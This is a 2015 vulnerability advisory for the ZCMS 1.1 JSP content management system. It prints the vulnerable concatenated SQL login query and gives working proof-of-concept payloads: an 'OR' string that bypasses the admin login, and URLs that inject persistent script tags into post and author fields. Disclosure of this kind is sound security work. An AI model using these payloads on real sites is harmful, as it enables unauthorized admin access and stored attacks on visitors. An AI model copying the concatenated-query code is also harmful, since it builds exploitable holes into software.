ZCMS 1.1 Cross Site Scripting / SQL Injection

`[+] Credits: John Page ( hyp3rlinx )  
  
[+] Domains: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-ZCMS0612.txt  
  
  
  
Vendor:  
=============================================  
http://zencherry.com/  
http://sourceforge.net/projects/zencherrycms  
  
  
  
Product:  
==================================================  
ZCMS_1.1 JavaServer Pages Content Management System  
  
  
  
Advisory Information:  
==============================  
SQL Injection & Persistent XSS  
  
  
  
Vulnerability Details:  
======================  
SQL Injection:  
Login to admin area requires a password but is easily bypassed  
using classic SQLInjection method because application uses  
concatenated user input to construct SQL queries.  
  
  
ZCMS exploitable admin login code:  
==================================  
squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users  
WHERE  
status = 0 AND username = '"+username+"' AND password =  
'"+request.getParameter("pass") +"' AND type = 1 ;";  
  
  
So we just supply an Admin password like ---> HELL' OR '2'='2  
which will resolve as true!  
  
  
SQL Inject XSS Payload:  
=======================  
We can also inject persisten XSS payload directly to MySQL database  
subverting  
all character filtering leveraging existing SQLInjection vulnerabilities.  
  
  
Persistent XSS:  
===============  
  
Another persistent XSS vector is here in author field for comments:  
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page  
number]  
  
  
Exploit code(s):  
===============  
  
1) Bypass admin login  
---------------------  
localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=login  
Enter 'admin' for username field  
Enter HELL' OR '2'='2 for the pass field  
  
  
2) Inject XSS using SQL Injection  
---------------------------------  
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=editpost&p=1&title=  
"<script>alert(1)</script>  
&content=<script>alert(1)</script>&author=<script>alert(1)</script>  
SATAN&visibility=1&type=1&comm=0  
  
  
3) Persistent XSS field  
-----------------------  
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page  
number]  
Inject <script>alert(666)</script> in author input field.  
  
  
  
Disclosure Timeline:  
=========================================================  
Vendor Notification: NA  
June 12, 2015 : Public Disclosure  
  
  
  
Severity Level:  
=========================================================  
High  
  
  
  
Description:  
==========================================================  
  
Request Method(s): [+] GET & POST  
  
  
Vulnerable Product: [+] ZCMS_1.1  
  
  
Vulnerable Parameter(s): [+] pass, title, content, author  
  
  
Affected Area(s): [+] Admin, CMS  
  
  
===============================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that  
it is not altered except by reformatting it, and that due credit is given.  
Permission is  
explicitly given for insertion in vulnerability databases and similar,  
provided that  
due credit is given to the author. The author is not responsible for any  
misuse of the  
information contained herein and prohibits any malicious use of all  
security related  
information or exploits by the author or elsewhere.  
  
  
(hyp3rlinx)  
`